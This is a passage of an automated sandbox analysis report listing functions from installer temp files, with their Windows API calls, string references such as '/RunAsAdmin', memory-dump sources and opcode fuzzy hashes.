API ID: std::_$Locinfo::_Locinfo_ctorLockitLockit::_
String ID: bad locale name
API String ID: 3988782225-1405518554
Opcode ID: f463ef576e84d112891757f922c9c2b36c2cdd430429a67c94817f48f58ecef6
Instruction ID: f8ec1e89ea809f97985ff8c8f878181a29332c9f76ae44f42e289d371eb0735d
Opcode Fuzzy Hash: f463ef576e84d112891757f922c9c2b36c2cdd430429a67c94817f48f58ecef6
Instruction Fuzzy Hash: 18210270805B88DED721CF68C90474BBFF4EF15710F10869EE48597781D7B5AA04CBA5

Function 00407708 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 59COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 00407BCF
___raise_securityfailure.LIBCMT ref: 00407CB7

Strings

@KD, xrefs: 00407CB2

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: FeaturePresentProcessor___raise_securityfailure
String ID: @KD
API String ID: 3761405300-3991357333
Opcode ID: c38939752e0d4be7c6b1205a8d298de7c3d848d17758939ef1097b999e876c27
Instruction ID: 1f17eced9f5812614e7adda13fed68acdab163dfb9d39c39aa5769c81e89359d
Opcode Fuzzy Hash: c38939752e0d4be7c6b1205a8d298de7c3d848d17758939ef1097b999e876c27
Instruction Fuzzy Hash: 0D21F8BC9022049BD324CF59F996704BBF4FB8A314F16453AE5088B7A1DBB4A940CF4D

Function 003F4077 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 003F407E

Strings

true, xrefs: 003F40E8
false, xrefs: 003F40D5

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: H_prolog3_
String ID: false$true
API String ID: 2427045233-2658103896
Opcode ID: cce215aac40a3fbe992eee3a5e567ac59de4d4843a1f51eda05c3ce4199fca96
Instruction ID: 59f3761fb8cde771915dd0fdb31636bd58853e36b821439e9ca4eb9d99018b23
Opcode Fuzzy Hash: cce215aac40a3fbe992eee3a5e567ac59de4d4843a1f51eda05c3ce4199fca96
Instruction Fuzzy Hash: CA11D671D00745AEC722EFB4D452B9AB7F4AF09300F00852FE2A59B691DB74E504CB94

Function 00407CCA Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 00407CD5
___raise_securityfailure.LIBCMT ref: 00407D92

Strings

@KD, xrefs: 00407D8D

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: FeaturePresentProcessor___raise_securityfailure
String ID: @KD
API String ID: 3761405300-3991357333
Opcode ID: 4271bf4b32d7b27705e880f8399d6309bc021035a6771f615ba5f9efb5161434
Instruction ID: 0d749429659299675fda779341c263b96bb80122f855122d18f36cd97431094a
Opcode Fuzzy Hash: 4271bf4b32d7b27705e880f8399d6309bc021035a6771f615ba5f9efb5161434
Instruction Fuzzy Hash: E711E6BC912244DBD725CF69F9C2744BBB4FB8A304B0A513AE90887361EBB0A541CF5D

Function 003F1E15 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 003F0B00: InitializeCriticalSectionEx.KERNEL32(?,00000000,00000000,755CD0F6,?,004293B0,000000FF), ref: 003F0B27
Part of subcall function 003F0B00: GetLastError.KERNEL32(?,00000000,00000000,755CD0F6,?,004293B0,000000FF), ref: 003F0B31

IsDebuggerPresent.KERNEL32(?,?,0043FAD8), ref: 003F1E48
OutputDebugStringW.KERNEL32(ERROR : Unable to initialize critical section in CAtlBaseModule,?,?,0043FAD8), ref: 003F1E57

Strings

ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 003F1E52

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: CriticalDebugDebuggerErrorInitializeLastOutputPresentSectionString
String ID: ERROR : Unable to initialize critical section in CAtlBaseModule
API String ID: 3511171328-631824599
Opcode ID: dfb877a3dab665f7def3f9cd1fdbda12889cd95ea588e06fad624d5bf6fc9187
Instruction ID: 1721a400d251965b6004ffb115aaca2e66a1119949e8a98a530f33efc9c66c8c
Opcode Fuzzy Hash: dfb877a3dab665f7def3f9cd1fdbda12889cd95ea588e06fad624d5bf6fc9187
Instruction Fuzzy Hash: 64E09270B10711CFC335AF29F904756BBE4AF15704F80882DE982C6651DBB4E844CB92

Analysis Process: MSIDD92.tmpPID: 7408, Parent PID: 7072COMMON

Execution Graph

Execution Coverage:	1.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	345
Total number of Limit Nodes:	5

Executed Functions

Function 00D76EE0 Relevance: 46.0, APIs: 25, Strings: 1, Instructions: 519
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00D75F90: GetCurrentProcess.KERNEL32(00000008,?,862265DA), ref: 00D75FA0
Part of subcall function 00D75F90: OpenProcessToken.ADVAPI32(00000000), ref: 00D75FA7

CoInitialize.OLE32(00000000), ref: 00D76F55
CoCreateInstance.OLE32(00DBD310,00000000,00000004,00DCB320,00000000,?), ref: 00D76F85
CoUninitialize.OLE32 ref: 00D774F6
_com_issue_error.COMSUPP ref: 00D77524

Part of subcall function 00D71910: LocalFree.KERNEL32(?,862265DA,?,00000000,00DB92C0,000000FF,?,?,00DD1348,00000000,00D716D0,80004005), ref: 00D7195C

Strings

$, xrefs: 00D77454

Memory Dump Source

Source File: 0000000D.00000002.1292874221.0000000000D71000.00000020.00000001.01000000.00000005.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000D.00000002.1291861815.0000000000D70000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294285172.0000000000DD3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294323906.0000000000DD7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d70000_MSIDD92.jbxd

Similarity

API ID: Process$CreateCurrentFreeInitializeInstanceLocalOpenTokenUninitialize_com_issue_error
String ID: $
API String ID: 2507920217-3993045852
Opcode ID: 1370c3ef71312e5141a82b05999aec04c1474bc038cb8188276cd0e1a90f0907
Instruction ID: eda710998b2d98c0ac3f354baaa2a7ae38c6fa1294a7c51bf7de5074d514a09d
Opcode Fuzzy Hash: 1370c3ef71312e5141a82b05999aec04c1474bc038cb8188276cd0e1a90f0907
Instruction Fuzzy Hash: 94229170E08388DFEB11CFA8C948BADBBB4AF45304F14859DE449EB391E7759A45CB21

Function 00D75F90 Relevance: 6.0, APIs: 4, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(00000008,?,862265DA), ref: 00D75FA0
OpenProcessToken.ADVAPI32(00000000), ref: 00D75FA7
GetTokenInformation.KERNELBASE(?,00000014(TokenIntegrityLevel),?,00000004,?), ref: 00D75FDC
CloseHandle.KERNEL32(?), ref: 00D75FF2

Memory Dump Source

Source File: 0000000D.00000002.1292874221.0000000000D71000.00000020.00000001.01000000.00000005.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000D.00000002.1291861815.0000000000D70000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294285172.0000000000DD3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294323906.0000000000DD7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d70000_MSIDD92.jbxd

Similarity

API ID: ProcessToken$CloseCurrentHandleInformationOpen
String ID:
API String ID: 215268677-0
Opcode ID: 59f4a39eadfef53226a5d080c8fb751ce0477af19a60f1a405b5248ee4d06f7d
Instruction ID: f069d9ae3fbc91c7395c59c62739e28e148401a303a46530b25db8c8602890ba
Opcode Fuzzy Hash: 59f4a39eadfef53226a5d080c8fb751ce0477af19a60f1a405b5248ee4d06f7d
Instruction Fuzzy Hash: A1F01274144301EBEB10AF20EC45B9AB7E9BF44705F548919F984C2260E379D51DDA73

Function 00D81A20 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 132
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCommandLineW.KERNEL32(862265DA,?,0000FFFF), ref: 00D81A4D

Part of subcall function 00D74EC0: LocalAlloc.KERNEL32(00000040,00000000,?,?,?,?,00000000,00000000,?,?), ref: 00D74EDD

ExitProcess.KERNEL32 ref: 00D81C27

Part of subcall function 00D78790: CreateFileW.KERNEL32(00000000,40000000,00000000,00000000,00000002,00000080,00000000,?,?,?,?,?,?,?,?,00000000), ref: 00D7880D

Strings

Full command line:, xrefs: 00D81A7E

Memory Dump Source

Source File: 0000000D.00000002.1292874221.0000000000D71000.00000020.00000001.01000000.00000005.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000D.00000002.1291861815.0000000000D70000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294285172.0000000000DD3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294323906.0000000000DD7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d70000_MSIDD92.jbxd

Similarity

API ID: AllocCommandCreateExitFileLineLocalProcess
String ID: Full command line:
API String ID: 1878577176-831861440
Opcode ID: 42965dbcab8f5410ff365bb5b2cc840571602d0e1f9e3767262a4e40a3001654
Instruction ID: 33f72d75938864db370f4561d4c7014990f48fc509a3b9734361afcae43ef029
Opcode Fuzzy Hash: 42965dbcab8f5410ff365bb5b2cc840571602d0e1f9e3767262a4e40a3001654
Instruction Fuzzy Hash: D2516C35810168DACB25EB60CC59BEEB7B5EF10304F1481D9E009672A2EF745F49DBB2

Function 00D77FD0 Relevance: 4.6, APIs: 3, Instructions: 85
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTokenInformation.KERNELBASE(?,00000001(TokenIntegrityLevel),00000000,00000000,00D77FA8,862265DA), ref: 00D78044
GetLastError.KERNEL32(?,TokenIntegrityLevel,00000000,00000000,00D77FA8,862265DA), ref: 00D7804E
GetTokenInformation.KERNELBASE(?,00000001(TokenIntegrityLevel),?,00000000,00000000,?,TokenIntegrityLevel,00000000,00000000,00D77FA8,862265DA), ref: 00D780AA

Memory Dump Source

Source File: 0000000D.00000002.1292874221.0000000000D71000.00000020.00000001.01000000.00000005.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000D.00000002.1291861815.0000000000D70000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294285172.0000000000DD3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294323906.0000000000DD7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d70000_MSIDD92.jbxd

Similarity

API ID: InformationToken$ErrorLast
String ID:
API String ID: 2567405617-0
Opcode ID: 876bd2b6b31fded928fb374afe0e64c15a59bdef07f099a20c4eb3b065f71027
Instruction ID: f7e338630991c32866ae33741e2a1204df7d497fc73f31a1af2258a66b1ccfa8
Opcode Fuzzy Hash: 876bd2b6b31fded928fb374afe0e64c15a59bdef07f099a20c4eb3b065f71027
Instruction Fuzzy Hash: BD314C71A40615EFDB20CF59CC49BAFBBF9FB44710F10852AE515E7280EBB5A9049BA0

Function 00DAC72B Relevance: 1.5, APIs: 1, Instructions: 39
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,?,?,?,00DAAFDA,00000001,00000364,?,00000006,000000FF,?,00D9C282,?,?,?), ref: 00DAC76C

Memory Dump Source

Source File: 0000000D.00000002.1292874221.0000000000D71000.00000020.00000001.01000000.00000005.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000D.00000002.1291861815.0000000000D70000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294285172.0000000000DD3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294323906.0000000000DD7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d70000_MSIDD92.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 0ccfcef768801cffd4e04fb24156e00a5b005bb9f57d4d8e2d97f8b14a69026f
Instruction ID: 9b2cde39d30b0c2b3de8dd739431eb61105db1d4a4187612583de0746fce5d1a
Opcode Fuzzy Hash: 0ccfcef768801cffd4e04fb24156e00a5b005bb9f57d4d8e2d97f8b14a69026f
Instruction Fuzzy Hash: 91F0E231621224ABEB312B7A9C45A6B37CCDF53771B18A212AC05E6290DF60D801CAF1

Non-executed Functions

Function 00D7D060 Relevance: 12.7, APIs: 5, Strings: 2, Instructions: 472COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 00D7D200
LocalFree.KERNEL32(00000000), ref: 00D7D257
_swprintf.LIBCMT ref: 00D7D440
LocalFree.KERNEL32(00000000), ref: 00D7D497
_swprintf.LIBCMT ref: 00D7D592

Strings

%, xrefs: 00D7D519
+, xrefs: 00D7D506

Memory Dump Source

Source File: 0000000D.00000002.1292874221.0000000000D71000.00000020.00000001.01000000.00000005.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000D.00000002.1291861815.0000000000D70000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294285172.0000000000DD3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294323906.0000000000DD7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d70000_MSIDD92.jbxd

Similarity

API ID: _swprintf$FreeLocal
String ID: %$+
API String ID: 2429749586-2626897407
Opcode ID: 6ddb1ce58ea9b15fbf6866f7f82ca90645062a44ff9518a216b2b63d97002160
Instruction ID: 82383b3340b1ed9b1339d384deca47146708c61e9aa67b84f6f23d7e8b5c93ea
Opcode Fuzzy Hash: 6ddb1ce58ea9b15fbf6866f7f82ca90645062a44ff9518a216b2b63d97002160
Instruction Fuzzy Hash: 8102B071E102199FDB15DF68CC41BAEBBB6FF49300F148629F815AB281E735A941CBB1

Function 00D80E90 Relevance: 11.0, APIs: 2, Strings: 4, Instructions: 455registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(?,-00000002,00000000,00000001,?), ref: 00D812C4
RegQueryValueExW.ADVAPI32(?,00000000,00000000,00000000,00DD57C0,00000800), ref: 00D812E1

Strings

/DontWait , xrefs: 00D80F37, 00D80F40, 00D80F6C, 00D80F8E
/RunAsAdmin , xrefs: 00D80FCE, 00D80FD9, 00D81003, 00D81013, 00D81032
/HideWindow, xrefs: 00D81075, 00D8107F, 00D810AC, 00D810BC, 00D810DB
/EnforcedRunAsAdmin , xrefs: 00D80EB0, 00D80EBA, 00D80EE3, 00D80F01

Memory Dump Source

Source File: 0000000D.00000002.1292874221.0000000000D71000.00000020.00000001.01000000.00000005.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000D.00000002.1291861815.0000000000D70000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294285172.0000000000DD3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294323906.0000000000DD7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d70000_MSIDD92.jbxd

Similarity

API ID: OpenQueryValue
String ID: /DontWait $/EnforcedRunAsAdmin $/HideWindow$/RunAsAdmin
API String ID: 4153817207-1914306501
Opcode ID: 8a238dd30cd1c64d663ac774ffca9a55fe55de37aeb4ff5ea0b023f33d064a69
Instruction ID: d064cc9d599419300c24075113991cfb4f0736a2cb0ec5efd4fa3fefafdfa62b
Opcode Fuzzy Hash: 8a238dd30cd1c64d663ac774ffca9a55fe55de37aeb4ff5ea0b023f33d064a69
Instruction Fuzzy Hash: 8EE1DE28A043528ACB34BF14C841776B3E9EF95B40F5D846AE985CB295E771CC8BC3B1

Function 00DB3BA3 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,00DB3EC1,00000002,00000000,?,?,?,00DB3EC1,?,00000000), ref: 00DB3C3C
GetLocaleInfoW.KERNEL32(?,20001004,00DB3EC1,00000002,00000000,?,?,?,00DB3EC1,?,00000000), ref: 00DB3C65
GetACP.KERNEL32(?,?,00DB3EC1,?,00000000), ref: 00DB3C7A

Strings

OCP, xrefs: 00DB3BF7
ACP, xrefs: 00DB3BC1

Memory Dump Source

Source File: 0000000D.00000002.1292874221.0000000000D71000.00000020.00000001.01000000.00000005.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000D.00000002.1291861815.0000000000D70000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294285172.0000000000DD3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294323906.0000000000DD7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d70000_MSIDD92.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 8693212dd22b1bd2618098af44bf11c818239eb14bb8e4e1c914ce05b8823a6e
Instruction ID: db39cc84e20603a95b7ed046389e07f41964118c61859a933058b6e6e0ad9f5f
Opcode Fuzzy Hash: 8693212dd22b1bd2618098af44bf11c818239eb14bb8e4e1c914ce05b8823a6e
Instruction Fuzzy Hash: E9217432600201EBDB348F99C901AE77BA6EF50B50B5E8528E94BE7214E732DF41E370

Function 00DB3D78 Relevance: 7.7, APIs: 5, Instructions: 183COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00DAAE3C: GetLastError.KERNEL32(?,00000008,00DB03BC), ref: 00DAAE40
Part of subcall function 00DAAE3C: SetLastError.KERNEL32(00000000,00000000,00000006,000000FF), ref: 00DAAEE2

GetUserDefaultLCID.KERNEL32(?,?,?,00000055,?), ref: 00DB3E84
IsValidCodePage.KERNEL32(00000000), ref: 00DB3ECD
IsValidLocale.KERNEL32(?,00000001), ref: 00DB3EDC
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 00DB3F24
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 00DB3F43

Memory Dump Source

Source File: 0000000D.00000002.1292874221.0000000000D71000.00000020.00000001.01000000.00000005.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000D.00000002.1291861815.0000000000D70000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294285172.0000000000DD3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294323906.0000000000DD7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d70000_MSIDD92.jbxd

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID:
API String ID: 415426439-0
Opcode ID: 4d1db3a0994e7aec63a7a5b103f0173f42bfaa649aeb5bc21cd95aafac5f3b74
Instruction ID: 7a1c8d271d35b4a13c8a89c0b971fb15a436356acb73b9f7559d59964bc3f529
Opcode Fuzzy Hash: 4d1db3a0994e7aec63a7a5b103f0173f42bfaa649aeb5bc21cd95aafac5f3b74
Instruction Fuzzy Hash: 0F514D72A00206EBDB10DBA5CC45AFA77B9EF49700F18462AF906E7190EB71DA04DB71

Function 00DB3414 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 251COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00DAAE3C: GetLastError.KERNEL32(?,00000008,00DB03BC), ref: 00DAAE40
Part of subcall function 00DAAE3C: SetLastError.KERNEL32(00000000,00000000,00000006,000000FF), ref: 00DAAEE2

GetACP.KERNEL32(?,?,?,?,?,?,00DA994B,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 00DB34D5
IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,00DA994B,?,?,?,00000055,?,-00000050,?,?), ref: 00DB3500
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,-00000050,00000000,000000D0), ref: 00DB3663

Strings

utf8, xrefs: 00DB35D2

Memory Dump Source

Source File: 0000000D.00000002.1292874221.0000000000D71000.00000020.00000001.01000000.00000005.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000D.00000002.1291861815.0000000000D70000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294285172.0000000000DD3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294323906.0000000000DD7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d70000_MSIDD92.jbxd

Similarity

API ID: ErrorLast$CodeInfoLocalePageValid
String ID: utf8
API String ID: 607553120-905460609
Opcode ID: cc2b36bd1e7a362dbfc1062beed929d279d3a0624f036d0bfb8c94800ecad6bd
Instruction ID: a51e6ae1a99a881530f50f5842e860715e272788a4590656dea3c80295e333fd
Opcode Fuzzy Hash: cc2b36bd1e7a362dbfc1062beed929d279d3a0624f036d0bfb8c94800ecad6bd
Instruction Fuzzy Hash: B271DF72A00306EADB25AB75CC86BEA73E8EF45700F184429F547D7281FB74EA45A770

Function 00DAB336 Relevance: 6.3, APIs: 4, Instructions: 337COMMONLIBRARYCODE

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00DAB3C3

Memory Dump Source

Source File: 0000000D.00000002.1292874221.0000000000D71000.00000020.00000001.01000000.00000005.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000D.00000002.1291861815.0000000000D70000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294285172.0000000000DD3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294323906.0000000000DD7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d70000_MSIDD92.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: f068e2ee9b525f32e3efd226be2df2fe614e6fc1a05ef0a7f01a5d797c6cceda
Instruction ID: 9b07df78de91f85cf5d5c02a550b8f93a2f42d29cd1ebf0acd32cafaa4633253
Opcode Fuzzy Hash: f068e2ee9b525f32e3efd226be2df2fe614e6fc1a05ef0a7f01a5d797c6cceda
Instruction Fuzzy Hash: 7AB12572D002459FDB118F68C8917EEBBA5EF5A320F18816BE845AB243D375DD02CBB0

Function 00D983BD Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 00D983C9
IsDebuggerPresent.KERNEL32 ref: 00D98495
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00D984B5
UnhandledExceptionFilter.KERNEL32(?), ref: 00D984BF

Memory Dump Source

Source File: 0000000D.00000002.1292874221.0000000000D71000.00000020.00000001.01000000.00000005.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000D.00000002.1291861815.0000000000D70000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294285172.0000000000DD3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294323906.0000000000DD7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d70000_MSIDD92.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 5354cf74d4906503f07c1e6f04f96b6d26a4417234aeef3992c54051cc97b42f
Instruction ID: 4f2789861a15293562cd7433f0462248672ba3188a577463a74519a5d93b75b7
Opcode Fuzzy Hash: 5354cf74d4906503f07c1e6f04f96b6d26a4417234aeef3992c54051cc97b42f
Instruction Fuzzy Hash: F1311875D01319DBDF10EFA4D989BCDBBB8AF09700F1041AAE40DAB250EB719A849F64

Function 00D82161 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30windowCOMMON

Download Yara Rule

APIs

GetLocaleInfoEx.KERNEL32(!x-sys-default-locale,20000001,00000000,00000002,?,?,?,00D73270,?), ref: 00D82176
FormatMessageA.KERNEL32(00001300,00000000,862265DA,00000000,00000000,00000000,00000000,?,?,?,00D73270,?), ref: 00D82198

Strings

!x-sys-default-locale, xrefs: 00D82171

Memory Dump Source

Source File: 0000000D.00000002.1292874221.0000000000D71000.00000020.00000001.01000000.00000005.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000D.00000002.1291861815.0000000000D70000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294285172.0000000000DD3000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1294323906.0000000000DD7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d70000_MSIDD92.jbxd

Similarity

API ID: FormatInfoLocaleMessage
String ID: !x-sys-default-locale
API String ID: 4235545615-2729719199
Opcode ID: 9efec3b980b7a140a5f42327f246874e36db5aacc0331c8f01c1027f51bf46ba
Instruction ID: 9e44b8dc49579cb52f5be6322534cff60b336e5a97b7f9f0baf5eccc6afaf26e
Opcode Fuzzy Hash: 9efec3b980b7a140a5f42327f246874e36db5aacc0331c8f01c1027f51bf46ba
Instruction Fuzzy Hash: 9AE039B6550218FEEB04AFA5CC0BDFA7B6DEB04790F104114B902D2180E2B06E008BB0

